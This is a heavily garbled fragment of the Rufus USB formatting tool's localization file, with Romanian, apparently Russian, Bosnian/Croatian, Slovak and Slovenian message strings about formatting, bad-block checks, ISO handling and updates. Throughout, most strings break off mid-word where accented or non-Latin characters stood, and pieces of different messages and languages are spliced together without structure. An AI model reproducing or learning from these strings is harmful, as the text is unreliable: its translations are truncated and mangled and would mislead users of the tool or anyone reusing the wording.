t MSG_184 "Putem p
t MSG_185 "Actualizare proces:"
t MSG_186 "Rufus nu instaleaz
t MSG_187 "Imagine nevalid
t MSG_188 "Actuala imagine nu se potrive
t MSG_189 "Aceast
t MSG_190 "Unitatea detectat
t MSG_191 "Trecere scriere"
t MSG_192 "Trecere citire"
t MSG_193 "Desc
rcat %s"
t MSG_194 "Nu a putut fi descarcat %s"
t MSG_195 "Folosi
de %s fi
t MSG_196 "IMPORTANT: Aceast
te %d octe
t MSG_197 "M
t MSG_198 "'Windows To Go' poate fi instalat doar pe unitatea cu parti
t MSG_199 "Alege
i Windows, la un alt disc, folosind dispozitivul selectat ca suport de instalare."
t MSG_200 "Alege
iune, pentru a executa Windows direct din dispozitivul selectat."
t MSG_201 "Anulare..."
t MSG_202 "Analiza imaginii..."
t MSG_203 "Analiza e
t MSG_204 "Detectat %s
t MSG_205 "Utilizare imagine: %s"
t MSG_206 "Fi
ier %s disp
t MSG_207 "Volumul nou"
t MSG_208 "%d dispozitiv detectat"
t MSG_209 "%d dispozitive detectate"
t MSG_210 "FINALIZAT"
t MSG_211 "Anulat"
t MSG_212 "Opera
t MSG_213 "Executarea unei noi aplica
t MSG_214 "Executarea unei noi aplica
t MSG_215 "Deschide %s"
t MSG_216 "Salvate %s"
t MSG_217 "Formatarea: %0.1f%% terminat
t MSG_218 "Crearea sistemului de fi
iere: activitate %d/%d terminat
t MSG_219 "Fixare NTFS: %d%% terminat
t MSG_220 "Formatarea (%s) - durata estimat
t MSG_221 "Setarea etichetei (poate dura ceva timp)..."
t MSG_222 "Formatare (%s)..."
t MSG_223 "Fixare NTFS (verificare disc)..."
t MSG_224 "Resetarea structurii MBR/PBR/GPT..."
t MSG_225 "Solicit
t MSG_226 "Pornire analiza datelor..."
t MSG_227 "Se
t MSG_228 "Se scrie master boot record..."
t MSG_229 "Se scrie parti
t MSG_230 "Se copiaz
t MSG_231 "Se copiaz
t MSG_232 "Setarea UEFI de boot Windows 7 (poate dura ceva timp)..."
t MSG_233 "Se finalizeaz
t MSG_234 "Se instaleaz
t MSG_235 "Blocuri defecte: %s %d/%d - %0.2f%% (erori %d/%d/%d)"
t MSG_236 "Blocuri defecte: testarea cu modele aleatoare"
t MSG_237 "Blocuri defecte: testarea cu model 0xX"
t MSG_238 "Parti
ionare (%s)..."
t MSG_239 "Eliminare parti
t MSG_240 "Desc
rcare de %s: conexiune..."
t MSG_241 "Desc
t MSG_242 "Imposibilitatea de a desc
t MSG_243 "Verificare actualiz
t MSG_244 "Actualizare: Nu se poate conecta la internet"
t MSG_245 "Actualizare: Imposibil pentru a accesa informa
t MSG_246 "Este o nou
t MSG_247 "Versiunea instalat
t MSG_248 "Registrul de aplica
t MSG_249 "Imposibilitatea de a
t MSG_250 "Activat %s"
t MSG_251 "Dezactivat %s"
t MSG_252 "Dimensiunea de control"
t MSG_253 "Detectare hard disk-uri"
t MSG_254 "Formatare extins
t MSG_255 "Vor fi eliminate NoDriveTypeAutoRun ie
t MSG_256 "Unit
t MSG_257 "Suport Joliet"
t MSG_258 "Suport Rock Ridge"
t MSG_259 "Actualizare for
t MSG_260 "Compresie NTFS"
t MSG_261 "Se scriere imaginea: %0.1f%% terminat"
t MSG_262 "Suport ISO (Dac
t MSG_263 "Utilizarea dimensiunii corecte pentru unit
tergerea directorului '%s'"
t MSG_265 "Detectare disc VMWare"
t MSG_266 "Mod dual UEFI/BIOS"
t MSG_267 "Aplicarea imaginii Windows: %0.1f%% finalizat"
t MSG_268 "Aplicarea imaginii Windows..."
t MSG_269 "P
t MSG_270 "Depanare USB"
t MSG_271 "Calcularea sumelor de control: %0.1f%% complet"
t MSG_272 "Calcularea sumelor de control MD5, SHA1
t MSG_273 "Schimb
t MSG_274 "Imagine detectat
t MSG_275 "Imaginea selectat
"modul (copiere dosar) %s sau in modul (imagine de disc) %s.\n"
modul %s, astfel
n modul %s.\n\n"
t MSG_276 "Scriere in modul %s (Recomandat)"
t MSG_277 "Scriere in modul %s"
t MSG_278 "Tipul de boot-are"
t MSG_279 "Imagine nebootabil
t MSG_280 "Selectare imagine"
t MSG_282 "Exclusiv blocare USB"
t MSG_283 "Semn
t MSG_284 "Executabilul desc
t MSG_285 "Executabilul desc
tre '%s'.\nAceasta nu este o semn
t IDC_WEBSITE "
t MSG_021 "
t MSG_022 "
t MSG_023 "
t MSG_024 "
t MSG_025 "
t MSG_036 "ISO-
'%s' -
Windows."
t MSG_095 "DD-
Windows Vista."
%s ISO-
"'%s',
t MSG_113 "Large UDF-
Syslinux %s%s,
('ldlinux.sys' and 'ldlinux.bss')Grub %s,
Grub %s.\n\n
Grub ('core.img'),Windows XP.\n"
<mailto:tchack@rambler.ru>"
: %d"
: %d/%d
Fixup: %d%%
t MSG_260 "NTFS-
Windows-
s IDC_NBPASSES -55,0
m IDC_NBPASSES 55,0
t IDC_WINDOWS_INSTALL "Standardna instalacija Windows-a"
t IDC_WEBSITE "Klikni ovdje za pristup web-stranici"
t MSG_001 "Jo
t MSG_002 "Postoji ve
t MSG_003 "UPOZORENJE: SVI PODACI NA OVOM URE
AJU '%s'
t MSG_004 "Polisa a
t MSG_005 "Dozvolite Rufus-u da automatski tra
t MSG_011 "Provjera zavr
ena: %d nespravnih blokova prona
aka pisanja\n %d korupcija\n"
t MSG_012 "%s\nDetaljan izvje
taj se nalazi u:\n%s"
t MSG_015 "Sedmi
a verzija: %d.%d (Izvr
na verzija %d)"
t MSG_019 "Zadnja verzija: %d.%d (Izvr
t MSG_020 "bajti"
t MSG_026 "bajti"
t MSG_027 "kilobajti"
t MSG_028 "megabajti"
t MSG_029 "Uobi
t MSG_030 "%s (Uobi
t MSG_031 "%s particijska
ema za BIOS ili %s"
t MSG_032 "%s particijska
t MSG_033 "%s particijska
t MSG_034 "%d sekvenca"
t MSG_035 "%d sekvence"
t MSG_036 "ISO datoteke"
t MSG_041 "Operaciju prekinuo korisnik"
t MSG_048 "Rufus - Ispiranje bafera"
t MSG_052 "Ne mo
t MSG_056 "Brzo formatiranje nije nedostupno za ovaj ure
t MSG_057 "Oznaka volumena je neispravna."
t MSG_058 "Identifikator ure
t MSG_060 "Veli
t MSG_061 "Umetnite prenosni ure
t MSG_062 "Primljena je nepodr
t MSG_067 "Nije mogu
t MSG_069 "Datoteke se ne mogu kopirati na odabrani ure
t MSG_071 "Nije mogu
t MSG_072 "Provjera neispravnih blokova nije zavr
t MSG_073 "Neuspjelo skeniranje ISO datoteke."
t MSG_074 "Neuspjelo raspakivanje ISO datoteke."
t MSG_075 "Nije mogu
t MSG_076 "Nije mogu
t MSG_077 "Nije mogu
t MSG_078 "Nije mogu
aja, ova operacija mo
ujemo da dozvolite Windows-u da zavr
t MSG_084 "Ova ISO datoteka koristi zastarjelu verziju '%s'.\n"
"datoteka '%s' postoji tamo, automatski
t MSG_086 "Nije odabrana datoteka"
t MSG_087 "Pritisnite na dugme sa diskom za odabir datoteke za podizanje sistema, "
t MSG_088 "Datoteka je prevelika"
t MSG_089 "Datoteka je prevelika za odabrani ure
t MSG_091 "Kada koristite UEFI tip, samo EFI datoteke za podizanje sistema su podr
uje particije/ koje nisu vidljive u Windows-u. "
t MSG_094 "Prona
t MSG_095 "DD datoteka"
t MSG_096 "Trenutno odabrani sistem datoteka se ne mo
t MSG_097 "'%s' se mo
"ojer Microsoft nije dizajnirao Windows To Go za ure
t MSG_100 "Ova ISO datoteka sadr
"je potrebno za izradu EFI Windows 7 i Windows Vista USB ure
a od 100 KB, i uvijek prisutna na %s ISO datotekama, "
t MSG_105 "Otkazivanje mo
t MSG_106 "Molimo odaberite folder"
t MSG_110 "MS-DOS se ne mo
t MSG_112 "Formatiranje velikih UDF volumena mo
"formatiranja je %d:d, tokom kojeg
t MSG_113 "Veliki UDF volumen"
t MSG_114 "Ova datoteka koristi Syslinux %s%s ali ova aplikacija uklju
"Internet-a ('ldlinux.sys' and 'ldlinux.bss'):\n""- Odaberite 'Ne' da odustanete od ove operacije\n\n"
"datoteke '%s' postoje tamo, automatski
t MSG_116 "Ova slika koristi Grub %s ali aplikacija sadr
"Grub %s.\n\nKako razli
"Grub-a ('core.img') koja odgovara onoj iz vai' kako biste prekinuli operaciju\n\n"
"operativni sistem u prirodnom EFI re
t MSG_151 "Odaberite ovo ukoliko
aju iz Windows XP-a"
t MSG_152 "Po
eljna opcija da instalirate operativni sistem u EFI re
aju sa Windows XP-a"
t MSG_157 "Postavi sistem datoteka"
t MSG_158 "Minimalna veli
t MSG_159 "Ovdje unesite naziv za jedinicu diska\nInternacionalni karakteri su prihvatljivi"
t MSG_160 "Prika
t MSG_161 "Provjeri prisutnost neispravnih blokova pomo
t MSG_162 "Odzna
t MSG_164 "Metoda za izradu ure
t MSG_165 "Kliknite za odabir datoteke..."
uje autorun.inf)"
t MSG_168 "Maskiraj prvi USB ure
t MSG_169 "Izradi dodatnu skrivenu particiju i poku
t MSG_170 "Pronalazak USB hard diskova. Koristiti na vlastitu odgovornost!"
t MSG_172 "Informacije o licenciranju i zaslugama"
t MSG_173 "Kliknite za odabir..."
t MSG_175 "Verzija %d.%d (Izvr
t MSG_176 "Preveo: Ivan Strugar <mailto:isdjuka@gmail.com>"
t MSG_179 "Polisa a
t MSG_180 "Ukoliko dozvolite ovom programu provjeru a
t MSG_181 "Arhitektura i verzija va
eg operativnog sistema"
t MSG_182 "Verzija aplikacije koju koristite"
t MSG_184 "U svrhu izrade privatne statistike kori
t MSG_186 "Rufus nema pozadinskih procesa, tako da se provjere a
t MSG_187 "Neispravna datoteka za odabranu opciju podizanja sistema"
t MSG_188 "Trenutna datoteka se ne podudara s odabranim opcijama za podizanje sistema. Odaberite drugu datoteku ili drugu opciju za podizanje sitema."
t MSG_189 "Ova ISO datoteka nije kompatibilna sa odabranim sistemom datoteka."
t MSG_191 "Sekvenca pisanja"
t MSG_192 "Sekvenca
t MSG_194 "Nije mogu
e preuzeti %s"
ene verzije %s datoteke/datoteka"
ine %d bajti. "
t MSG_197 "Prona
t MSG_199 "Odaberite ovu opcije ukoliko planirate da instalirate Windows na drugi disk koriste
t MSG_200 "Odaberite ovu opcije ukoliko
elite pokretati Windows direktno sa odabranog ure
t MSG_201 "Otkazivanje - Molimo Vas sa
t MSG_202 "Skeniranje slike u toku..."
t MSG_203 "Neuspjeh pri skeniranju slike"
t MSG_204 "Prona
en zastario %s "
t MSG_205 "Koristi se slika: %s"
t MSG_206 "Nedostaje %s datoteka"
t MSG_207 "Novi volumen"
t MSG_210 "SPREMNO"
t MSG_214 "Pokretanje nove aplikacije nije uspjelo"
t MSG_216 "Sa
uvano %s"
t MSG_218 "Izrada sistema datoteka: Zadatak %d/%d zavr
t MSG_219 "NTFS krpljenje: %d%% zavr
t MSG_220 "Formatiranje (%s) - Procijenjeno trajanje %d:d..."
t MSG_221 "Postavljanje oznake (Ovo mo
t MSG_222 "Formatiranje (%s)..."
t MSG_223 "NTFS krpljenje (Checkdisk)..."
t MSG_225 "Zahtijevanje pristupa disku..."
t MSG_226 "Analiziranje postoje
t MSG_227 "Zatvaranje postoje
t MSG_228 "Pisanje glavne evidencije za podizanje sistema..."
t MSG_229 "Pisanje particijske evidencije za podizanje sistema..."
t MSG_230 "Kopiranje DOS datoteka..."
t MSG_231 "Kopiranje ISO datoteka..."
t MSG_232 "Postavljanje Win7 EFI postavki za podizanje sistema (ovo mo
t MSG_233 "Dovr
t MSG_234 "Instaliranje Syslinux %s..."
t MSG_235 "Neispravni blokovi: %s %d/%d - %0.2f%% (%d/%d/%d gre
t MSG_236 "Neispravni blokovi: Testiranje sa nasumi
t MSG_237 "Neispravni blokovi: Testiranje sa uzorkom 0xX"
t MSG_238 "Particionisanje (%s)..."
t MSG_239 "Brisanje particija..."
t MSG_240 "Preuzimanje %s: Povezivanje..."
t MSG_241 "Preuzimanje: %0.1f%%"
t MSG_242 "Neuspjelo preuzimanje datoteka."
t MSG_243 "Provjera a
t MSG_246 "Dostupna nova verzija Rufus-a!"
t MSG_247 "Nema novih verzija Rufus-a"
t MSG_249 "Brisanje klju
t MSG_252 "Provjerivanje veli
t MSG_253 "Otkrivanje
t MSG_254 "Prisilno veliko FAT32 formatiranje"
t MSG_256 "Otkrivanje la
t MSG_259 "Prisilno a
t MSG_260 "NTFS komprimovanje"
t MSG_261 "Pisanje slike: %0.1f%% zavr
t MSG_263 "Kori
t MSG_264 "Brisanje direktorijuma '%s'"
t MSG_265 "Pronala
t MSG_266 "Dvostruki UEFI/BIOS re
t MSG_267 "Primjenjivanje Windows datoteke: %0.1f%% zavr
t MSG_268 "Primjenjivanje Windows datoteke..."
t MSG_270 "USB uklanjanje gre
t MSG_272 "Ra
t MSG_273 "Promjena aplikacijskog jezika"
t MSG_274 "Prona
t MSG_275 "Datoteka koju ste odabrali je 'ISOHybrid' datoteka. Takva datoteka mo
"%s (kopiranje) ili %s (disk datoteka).\n"
uje metodu %s, tako da uvjek imate neograni
ete na probleme pri podizanju sistema, isprobajte metodu %s.\n\n"
t MSG_278 "Tip podizanja sistema"
t MSG_279 "Nije za podizane sistema"
t MSG_281 "(Molimo Vas odaberite datoteku)"
t MSG_283 "Neispravan potpis"
t MSG_284 "Nedostaje digitalni potpis u izvr
t MSG_285 "Preuzeta izvr
na datoteka je potpisana od strane '%s'.\nOvo nije potpis koji prepozanajemo i mo
t MSG_286 "Anuliranje ure
cia Windows (In
t IDC_WINDOWS_TO_GO "Windows To Go (Prenosn
t IDC_WEBSITE "Kliknite tu, ak chcete prejs
t MSG_001 "Zisten
t MSG_002 "Program Rufus je u
t MSG_003 "VAROVANIE: PO SPUSTEN
OVOM DISKU: %s.\n"
t MSG_004 "Nastavenie automatick
t MSG_005 "Chcete povoli
t MSG_006 "Zatvori
t MSG_010 "Boli n
ch blokov: %d \n"
b: %d\n"
t MSG_012 "%s\nPodrobnej
jdete tu:\n%s"
t MSG_014 "Denne"
t MSG_016 "Mesa
a verzia: %d.%d (Build %d)"
verzia: %d.%d (Build %d)"
t MSG_026 "bitov"
t MSG_027 "kilobitov"
t MSG_028 "megabitov"
t MSG_029 "Predvolen
t MSG_030 "%s (Predvolen
ma oddielu pre BIOS alebo %s"
t MSG_038 "Ukon
t MSG_039 "Spusti
t MSG_040 "Stiahnu
t MSG_041 "Oper
t MSG_044 "Stiahnu
t MSG_047 "Zariadenie s viacer
t MSG_048 "Rufus - Vypr
t MSG_051 "Neur
t MSG_052 "Nie je mo
t MSG_053 "Pr
t MSG_054 "M
t MSG_055 "Disk je pou
t MSG_056 "R
t MSG_059 "Vybran
t MSG_060 "N
t MSG_061 "Pripojte v
t MSG_062 "Bol prijat
t MSG_063 "Chyba pri pridelen
t MSG_066 "In
t MSG_067 "Nie je mo
t MSG_068 "Chyba po
t MSG_069 "Nie je mo
t MSG_070 "Preru
t MSG_071 "Nie je mo
t MSG_074 "Rozba
t MSG_075 "Nie je mo
t MSG_076 "Nie je mo
t MSG_077 "Nie je mo
t MSG_078 "Nie je mo
t MSG_079 "Zariadenie nie je pripraven
t MSG_080 "Program Rufus zistil,
Windows dokon
t MSG_082 "Tento obraz u
t MSG_083 "Nahradenie modulu %s"
verziu modulu %s.\n"
m:\n"
bor %s bude stiahnut
t MSG_085 "S
ahovanie: %s"
t MSG_086 "Nie je vybran
t MSG_087 "Pre v
t MSG_088 "Obraz disku je pr
t MSG_089 "Obraz disku je pr
t MSG_091 "Ak pou
pre Windows. "
t MSG_094 "Boli zisten
t MSG_096 "Vybrat
t MSG_097 "'%s' m
'Windows To Go', ale va
m Windows takmer ur
t MSG_099 "Obmedzenie s
t MSG_100 "Tento ISO obraz obsahuje s
t MSG_101 "Ch
nej USB jednotky s Windows 7 a Windows Vista "
webstr
t MSG_103 "Stiahn
t MSG_104 "%s alebo vy
bor: %s.\n"
v %s ISO obrazoch, "
t MSG_106 "Vyberte prie
t MSG_110 "MS-DOS nem
ne %d:d), po
t MSG_113 "Ve
va Syslinux %s%s ale tento program obsahuje in
"Syslinux %s%s.\n\nAk nov
"z internetu (ldlinux.sys a ldlinux.bss):\n"
t MSG_115 "Je po
va bootloader Grub %s ale tento program zah
" pre Grub %s.\n\nPreto
"bootloaderu Grub ('core.img'), ktort MSG_150 "Zvy
stup k obsahu USB disku z Windowsu XP"
vo Windows XP"
t MSG_153 "Sk
vzorka: 0xX"
t MSG_154 "Sk
vzorka: 0xX, 0xX"
t MSG_155 "Sk
vzorka: 0xX, 0xX, 0xX"
t MSG_156 "Sk
vzorka: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nastavte cie
t MSG_159 "Ak chcete nastavi
t MSG_160 "Prep
t MSG_161 "Skontrolova
t MSG_164 "Vyberte met
t MSG_165 "Stla
boru autorun.inf)"
t MSG_167 "In
t MSG_168 "Vysk
Windows XP a m
t MSG_169 "Bude naviac vytvoren
t MSG_171 "Stla
t MSG_173 "Stla
t MSG_174 "Rufus - Spo
t MSG_175 "Verzia %d.%d (Build %d)"
t MSG_176 "Do sloven
il martinco78 <mailto:martinco78@azet.sk>"
t MSG_177 "Ozn
t MSG_178 "Doplnkov
t MSG_180 "Ak povol
t MSG_181 "Architekt
ho opera
t MSG_182 "Verzia pou
t MSG_184 "Pre
t MSG_186 "Program Rufus nepobe
t MSG_189 "Tento ISO obraz nie je kompatibiln
t MSG_190 "Zisten
t MSG_191 "Prebieha z
t MSG_192 "Prebieha
t MSG_193 "Stiahnut
t MSG_194 "Nie je mo
t MSG_195 "Pou
boru (-ov) obsiahnutej verzie %s "
va %d-bitov
t MSG_197 "Zisten
t MSG_198 "'Windows To Go' m
t MSG_199 "Vyberte, ak chcete nain
Windows na in
t MSG_200 "Vyberte, ak chcete spusti
Windows priamo z vybranej jednotky."
t MSG_204 "Zisten
t MSG_206 "Ch
bor: %s"
t MSG_208 "Bolo n
%d zariadenie"
t MSG_209 "Po
t MSG_210 "PRIPRAVEN
t MSG_211 "Oper
t MSG_212 "NE
t MSG_213 "Sp
t MSG_214 "Ne
t MSG_215 "Otvoren
mu: %d/%d"
t MSG_219 "NTFS Fixup: %d%% dokon
tovanie (%s) - zost
t MSG_221 "Nastavovanie menovky (m
tovanie (%s)..."
t MSG_223 "NTFS Fixup (Kontrola disku)..."
t MSG_224 "Vymaz
t MSG_226 "Analyzovanie existuj
t MSG_227 "Uzatv
t MSG_228 "Zapisovanie hlavn
t MSG_229 "Zapisovanie boot z
t MSG_232 "Win7 EFI boot in
t MSG_234 "In
taluje sa Syslinux %s"
bloky: %s %d/%d - %0.2f%% (Chyby: %d/%d/%d)"
bloky: Testovanie s vzorkou 0xX"
ranie oddielov (%s)..."
t MSG_239 "Vymaz
t MSG_240 "S
ahovanie: %s - prip
t MSG_241 "S
t MSG_242 "Ne
t MSG_243 "Kontrola aktualiz
t MSG_244 "Aktualiz
t MSG_245 "Aktualiz
t MSG_246 "Je dostun
t MSG_247 "Nebola n
t MSG_248 "K
t MSG_250 "%s: povolen
t MSG_252 "Kontrola ve
t MSG_253 "Vyh
t MSG_254 "Form
t MSG_255 "NoDriveTypeAutorun bol vymazan
t MSG_256 "Pou
t MSG_259 "Vyn
t MSG_260 "NTFS kompresia"
t MSG_264 "Vymaz
inku: %s"
t MSG_265 "Vyh
vanie Windows obrazu: %0.1f%% hotov
vanie Windows obrazu..."
t MSG_269 "Zachova
t MSG_270 "USB ladenie"
t MSG_271 "Prebieha v
t MSG_273 "Zmeni
t MSG_274 "Bol zisten
t MSG_275 "Tento obraz bol ozna
ime '%s' (kop
ime '%s' (obraz disku).\n"
im '%s', aby ste mali pln
ime '%s'.\n\n"
t MSG_276 "Z
ime %s (odpor
t MSG_277 "Z
ime %s"
t MSG_278 "Typ bootovania"
t MSG_279 "Nie je mo
t MSG_280 "V
t MSG_281 "(Vyberte obraz)"
t MSG_282 "Uzamknutie USB zariadenia
t MSG_284 "Stiahnut
t MSG_285 "Stiahnut
sal '%s'.\nTento podpis nebol rozoznan
m IDC_NBPASSES -25,0
s IDC_NBPASSES 25,0
t IDC_WINDOWS_INSTALL "Standardna Windows namestitev"
t IDC_WEBSITE "Kliknite sem, da greste na spletno stran"
t MSG_001 "Drug primerek zaznan"
t MSG_003 "OPOZORILO: VSI PODATKI NA NAPRAVI \"%s\" BODO UNI
elite nadaljevati s to operacijo, izberite \"V redu\", druga
t MSG_004 "Rufusova posodobitvena politika"
t MSG_005 "Ali dovolite, da Rufus na internetu i
t MSG_006 "Zapri"
t MSG_007 "Prekli
t MSG_010 "Slabi bloki najdeni"
t MSG_011 "Preizkus kon
an: %d slabih blokov najdenih\n"
" Napak pri branju: %d\n Napak pri pisanju: %d\n %d corruption error(s)\n"
ilo lahko najdete v datoteki\n%s"
t MSG_013 "onemogo
t MSG_014 "dnevno"
t MSG_015 "tedensko"
t MSG_016 "mese
t MSG_017 "po meri"
a verzija: %d.%d (izgradnja %d)"
t MSG_019 "Najnovej
t MSG_020 "bajtov"
t MSG_026 "bajtov"
t MSG_027 "kilobajtov"
t MSG_028 "megabajtov"
t MSG_029 "Privzeto"
t MSG_030 "%s (privzeto)"
t MSG_031 "%s particijska shema za BIOS ali %s"
t MSG_032 "%s particijska shema za BIOS"
t MSG_033 "%s particijska shema za UEFI"
t MSG_034 "%d prehod"
t MSG_035 "%d prehoda/-i"
t MSG_036 "sliko ISO"
t MSG_039 "Za
t MSG_040 "Prenesi"
t MSG_041 "Operacijo je prekinil uporabnik"
t MSG_042 "Napaka"
t MSG_043 "Napaka: %s"
t MSG_044 "Prenos datoteke"
t MSG_045 "USB podatkovni nosilec (generi
t MSG_047 "ve
t MSG_048 "Rufus - izpiranje medpomnilnika"
t MSG_049 "Rufus - preklic"
t MSG_050 "Uspe
t MSG_051 "Nedolo
t MSG_052 "Za ta medij tega datote
t MSG_053 "Dostop do naprave je zavrnjen."
t MSG_054 "Na medij ni mogo
t MSG_055 "Napravo uporablja drug proces. "
t MSG_056 "Za to napravo hitro formatiranje ni na voljo."
t MSG_057 "Oznaka nosilca je neveljavna."
t MSG_058 "Napravin oprimek je neveljaven."
t MSG_059 "Izbrana velikost gru
t MSG_060 "Velikost nosilca je neveljavna."
t MSG_061 "Prosim, vstavite izmenljiv medij v pogon."
t MSG_062 "Prejet je bil nepodprt ukaz."
t MSG_063 "Napaka pri dodelitvi spomina."
t MSG_064 "Napaka pri branju."
t MSG_065 "Napaka pri pisanju."
t MSG_066 "Napaka pri name
t MSG_067 "Ni mogo
t MSG_068 "Napaka pri ustvarjanju particije."
t MSG_069 "Ni bilo mogo
t MSG_070 "Uporabnik je prekinil operacijo."
t MSG_071 "Niti ni mogo
t MSG_072 "Preizkus blokov se ni zaklju
t MSG_073 "Napaka pri preiskovanju ISO slike."
t MSG_074 "Napaka pri vle
t MSG_075 "Nosilca ni mogo
t MSG_076 "Ni mogo
t MSG_077 "Pogonu ni mogo
t MSG_078 "Ni mogo
t MSG_079 "Naprava ni pripravljena."
t MSG_080 "Rufus je zaznal, da Windows
akate, da Windows opravi svoje, da se izognete po
t MSG_081 "Nepodprta slika"
t MSG_082 "Ta slika ni zagonska ali pa Rufus ne podpira njenega na
t MSG_083 "Zamenjam %s?"
t MSG_084 "Zdi se, da ta ISO slika uporablja zastarelo verzijo \"%s\".\n"
"\"%s\" tam enkrat obstaja, bo samodejno uporabljena tudi v bodo
t MSG_085 "Prena
am %s"
t MSG_086 "Izbrana ni nobena slika"
t MSG_087 "Prosim, kliknite gumb s plo
t MSG_089 "Ta slika je prevelika za izbrani cilj."
t MSG_090 "Nepodprt ISO"
t MSG_091 "Za cilj UEFI so podprte samo zagonske ISO slike, zdru
t MSG_092 "Nepodprt datote
t MSG_093 "TA POGON IMA VE
uje particije, ki jih Windows niti ne prikazuje. "
t MSG_094 "Zaznanih ve
t MSG_095 "sliko DD"
t MSG_096 "Trenutno izbranega datote
t MSG_097 "'%so' je mogo
t MSG_098 "POMEMBNO: Namestiti posku
ate 'Windows To Go' na odstranljiv nosilec. "
"Windows se bo najverjetneje ustavil med zagonom, ker zagon z odstranljivega "
t MSG_099 "Omejitev datote
t MSG_100 "Ta slika vsebuje datoteko, ve
t MSG_101 "Manjkajo
"za ustvarjanje zagonskih pogonov USB z operacijskim sistemom Windows Vista ali Windows 7. "
t MSG_103 "Prenesem %s?"
t MSG_104 "%s ali novej
ena datoteka \"%s\".\n"
ja od 100 KB in je vedno prisotna na ISO slikah s %s ali novej
t MSG_105 "Preklic lahko pusti napravo v NEUPORABNEM stanju.\n"
elite operacijo preklicati, izberite DA, druga
t MSG_106 "Prosim, izberite mapo"
t MSG_107 "Vse datoteke"
t MSG_108 "Rufusov zapisnik"
t MSG_109 "0xX (disk %d)"
t MSG_110 "MS-DOS se ne more zagnati s pogona, na katerem so gru
t MSG_111 "Nezdru
t MSG_112 "Formatiranje velikih nosilcev UDF lahko traja veliko
"trajanje formatiranja %d:d, med
t MSG_113 "Velik nosilec UDF"
t MSG_114 "Ta slika uporablja Syslinux %s%s, toda ta aplikacija vsebuje le namestitvene datoteke za "
"Syslinux %s%s.\n\nKer novej
e dve dodatni datoteki (ldlinux.sys in ldlinux.bss):\n"
t MSG_115 "Prenos potreben"
t MSG_116 "Ta slika uporablja GRUB %s, toda ta aplikacija vsebuje le namestitvene datoteke za "
"GRUB %s.\n\nKer razli
al najti verzijo namestitvene datoteke za GRUB (core.img), ki se ujema s tisto na sliki:\n"
t MSG_150 "To je navadno najvarnej
"operacijski sistem v na
t MSG_151 "To mo
elite namestiti operacijski sistem v na
"do naprave USB iz operacijskega sistema Windows XP."
t MSG_152 "To je za
nost za namestitev operacijskega sistema v na
"zahtevan iz operacijskega sistema Windows XP."
t MSG_153 "Testni vzorec: 0xX"
t MSG_154 "Testni vzorec: 0xX, 0xX"
t MSG_155 "Testni vzorec: 0xX, 0xX, 0xX"
t MSG_156 "Testni vzorec: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Nastavi ciljni datote
t MSG_158 "Minimalna velikost, ki jo bo zasedel kos podatkov v datote
t MSG_159 "S tem poljem nastavite oznako pogona.\nLahko uporabite mednarodne znake (npr.
t MSG_161 "Preveri, ali so na napravi slabi bloki z uporabo testnega vzorca."
t MSG_162 "To mo
t MSG_163 "To mo
t MSG_164 "Metoda, ki bo uporabljena, da bo s pogona mogo
t MSG_165 "Kliknite, da izberete sliko
t MSG_166 "To mo
"in nastaviti ikono za napravo (to ustvari datoteko autorun.inf)."
t MSG_167 "Ta mo
t MSG_168 "Posku
ate Windows XP in imate ve
t MSG_169 "Ta mo
t MSG_170 "Omogo
t MSG_171 "Za
t MSG_172 "Licen
t MSG_173 "Kliknite, da izberete
t MSG_174 "Rufus - zanesljivi pripomo
t MSG_175 "Verzija %d.%d (izgradnja %d)"
t MSG_176 "V sloven
ino prevedel Matej Horvat <matej.horvat@guest.arnes.si>"
t MSG_177 "Prijavite hro
t MSG_178 "Dodatne avtorske pravice:"
t MSG_179 "Politika posodobitev:"
t MSG_181 "arhitektura in verzija va
ega operacijskega sistema"
t MSG_182 "verzija programa, ki jo uporabljate"
t MSG_183 "va
t MSG_184 "Za ra
t MSG_185 "Postopek posodobitve:"
t MSG_186 "Rufus ne namesti ali zaganja storitev v ozadju, zato se posodobitve prena
t MSG_187 "Neveljavna slika za izbran na
t MSG_188 "Trenutna slika se ne ujema z izbranim na
t MSG_189 "Ta slika ni zdru
t MSG_190 "Zaznana je bila nezdru
t MSG_191 "pisalni prehod"
t MSG_192 "bralni prehod"
t MSG_193 "Prenesel %s"
t MSG_194 "Ni bilo mogo
e prenesti %s."
t MSG_195 "Uporabljam vgrajeno verzijo datotek(e) %s."
t MSG_196 "OPOZORILO: TA NAPRAVA UPORABLJA NESTANDARDNO VELIKOST SEKTORJEV!\n\n"
ina naprav uporablja 512-bajtne sektorje, ta naprava pa %d-bajtne. "
t MSG_197 "Zaznana nestandardna velikost sektorjev"
t MSG_198 "'Windows To Go' je lahko name
t MSG_199 "Izberite to,
e nameravate namestiti Windows s te naprave na drug disk."
t MSG_200 "Izberite to,
elite zagnati Windows neposredno s te naprave."
t MSG_201 "Preklicujem - prosim, po
t MSG_202 "Preiskujem sliko
t MSG_203 "Preiskava slike ni uspela"
t MSG_204 "Zaznan je bil zastarel %s"
t MSG_205 "Uporabljam sliko: %s"
t MSG_206 "Manjkajo
a datoteka %s"
t MSG_207 "Nov nosilec"
t MSG_208 "%d naprava najdena"
t MSG_209 "%d naprav najdenih"
t MSG_210 "PRIPRAVLJEN"
t MSG_211 "Preklicano"
t MSG_212 "NI USPELO"
t MSG_213 "Zaganjam novo aplikacijo
t MSG_214 "Ni mogo
t MSG_215 "Odprl %s"
t MSG_216 "Shranil %s"
t MSG_217 "Formatiranje: %0.1f%% kon
t MSG_218 "Ustvarjam datote
ni sistem: opravilo %d/%d kon
t MSG_219 "Popravki za NTFS: %d%% kon
t MSG_220 "Formatiranje (%s) - predviden
as trajanja %d:d
t MSG_221 "Nastavljam oznako (to utegne trajati nekaj
t MSG_222 "Formatiranje (%s)
t MSG_223 "Popravki za NTFS (chkdsk)
t MSG_224 "Bri
t MSG_225 "Zahtevam dostop do diska
t MSG_226 "Pregledujem obstoje
t MSG_227 "Zapiram obstoje
t MSG_228 "Zapisujem glavni zagonski sektor (MBR)
t MSG_229 "Zapisujem particijske podatke
t MSG_230 "Kopiram DOS datoteke
t MSG_231 "Kopiram ISO datoteke
t MSG_232 "Pripravljam pogon za zagon Windows 7 na EFI (to lahko traja)
t MSG_233 "Zaklju
t MSG_234 "Name
am Syslinux %s
t MSG_235 "Slabi bloki: %s %d/%d - %0.2f%% (%d/%d/%d napak)"
t MSG_236 "Slabi bloki: testiram z naklju
t MSG_237 "Slabi bloki: testiram z vzorcem 0xX"
t MSG_238 "Ustvarjam particije (%s)
